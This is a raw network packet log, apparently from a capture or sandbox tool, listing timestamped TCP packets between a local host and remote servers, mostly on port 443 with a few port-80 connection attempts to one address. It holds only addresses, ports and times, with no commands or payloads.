Dec 30, 2024 11:37:42.343336105 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.354897976 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.354965925 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.355695009 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.355741978 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.357409954 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.357429028 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.357692957 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.357738018 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.358108997 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.403326035 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.403944969 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.403994083 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.412374973 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.412381887 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.412659883 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.412663937 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.679404020 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.679470062 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.679496050 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.679712057 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.680783033 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.680838108 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.680876970 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.681086063 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.681103945 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.681770086 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.681807995 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.682130098 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.682426929 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.682435989 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.717293024 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.717344999 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.717366934 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.717392921 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.717401028 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.717426062 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.717430115 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.717459917 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.717502117 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.718471050 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.718486071 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.719794035 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.719844103 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.719918013 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.719944000 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.720082045 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.720154047 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.720154047 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.720431089 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.720431089 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.720463991 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.720475912 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.720823050 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.721110106 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.721110106 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.721127033 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.723859072 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.723870039 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.863415956 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.863527060 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.863583088 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.863600016 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.863699913 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.863707066 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.863742113 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.863756895 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.863830090 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.870903015 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.870925903 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.871857882 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.871887922 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.874130011 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.874376059 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.874387980 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.301580906 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.301729918 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.302361965 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.303816080 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.305731058 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.305741072 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.305968046 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.306384087 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.306384087 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.320471048 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.320554018 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.321245909 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.322390079 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.322527885 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.323065042 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.323065042 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.323074102 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.324434996 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.324441910 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.324673891 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.324681044 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.324683905 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.324804068 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.328457117 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.347325087 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.371325016 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.487570047 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.488509893 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.491640091 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.491655111 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.491822004 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.491832018 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.681943893 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.682127953 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.682140112 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.682279110 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.682497025 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.682533979 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.682710886 CET	443	50534	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.682749987 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.682749987 CET	50534	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.683104992 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.683147907 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.683422089 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.683624983 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.683634996 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.694453001 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.694510937 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.694520950 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.694586039 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.694686890 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.694714069 CET	443	50536	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.694761992 CET	50536	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.695210934 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.695256948 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.695405960 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.695576906 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:43.695590973 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:43.733885050 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.734023094 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.734178066 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.734193087 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.734249115 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.734256029 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.734302044 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.734328032 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.734436035 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.734944105 CET	50535	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.734966040 CET	443	50535	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.735518932 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.735562086 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.735610962 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.735820055 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.735830069 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.909739017 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.909780979 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.909826994 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.909862041 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.909914017 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.909969091 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.909969091 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.909969091 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.910866976 CET	50537	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.910897017 CET	443	50537	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.913635015 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.913676977 CET	443	50541	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:43.915016890 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.915514946 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:43.915524960 CET	443	50541	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.279864073 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.280122995 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.280622959 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.280755043 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.300148010 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.300173044 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.300487995 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.300589085 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.301357985 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.303668976 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.303749084 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.304450989 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.304519892 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.306575060 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.306602001 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.306783915 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:37:44.306879044 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.307056904 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.307354927 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.336549997 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.336642027 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.337069035 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.337080002 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.337393999 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.337399960 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.343329906 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.351339102 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.514595032 CET	443	50541	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.514707088 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.515607119 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.515615940 CET	443	50541	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.515763044 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.515769005 CET	443	50541	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.611676931 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:37:44.647960901 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.648058891 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.648396015 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.648467064 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.648520947 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.648616076 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.651983023 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.652014971 CET	443	50538	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.652051926 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.652108908 CET	50538	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.652582884 CET	50543	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.652683020 CET	443	50543	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.652770996 CET	50543	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.653000116 CET	50543	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.653034925 CET	443	50543	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.716074944 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.716131926 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.716164112 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.716208935 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.716609001 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.716651917 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.716665030 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.716671944 CET	443	50539	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.716859102 CET	50539	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.717803001 CET	50544	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.717853069 CET	443	50544	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.717910051 CET	50544	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.718383074 CET	50544	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.718400002 CET	443	50544	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.744841099 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.744919062 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.744949102 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.744986057 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.744992971 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.745112896 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.745120049 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.745146990 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.745168924 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.745208025 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.745275021 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.745317936 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.745546103 CET	50540	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.745560884 CET	443	50540	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.746413946 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.746464968 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.746558905 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.746711969 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.746725082 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.783869982 CET	50541	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.783896923 CET	50543	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.783911943 CET	50544	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.784425020 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.784466028 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.784625053 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.785274982 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:44.785286903 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:44.786096096 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.786138058 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.786214113 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.787234068 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.787240028 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.788158894 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.788213015 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:44.788274050 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.789438009 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:44.789453030 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.221028090 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:37:45.368561029 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.368658066 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.370349884 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.370362997 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.371886969 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.371893883 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.389719963 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.389795065 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.390458107 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.390506983 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.392421007 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.392460108 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.392733097 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.392791033 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.393201113 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.399003029 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.399197102 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.400041103 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.400096893 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.401899099 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.401910067 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.402169943 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.402378082 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.402730942 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.407020092 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.407140017 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.407469988 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.407491922 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.407690048 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.407705069 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.435352087 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.447326899 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.762962103 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.763446093 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.763478041 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.763602018 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.763848066 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.763863087 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.763902903 CET	443	50548	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.763925076 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.763957977 CET	50548	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.764448881 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.764494896 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.764723063 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.764890909 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.764903069 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.772027969 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.772114992 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.772128105 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.772212029 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.772443056 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.772475004 CET	443	50547	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.772576094 CET	50547	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.773063898 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.773103952 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.773202896 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.775207996 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:45.775218010 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:45.785465956 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.785514116 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.785609961 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.785640001 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.785732031 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.810350895 CET	50545	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.810384035 CET	443	50545	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.810734987 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.810771942 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.811379910 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.812448978 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.812464952 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.928741932 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.928778887 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.928870916 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.928881884 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:45.928894997 CET	443	50546	142.250.186.97	192.168.2.4
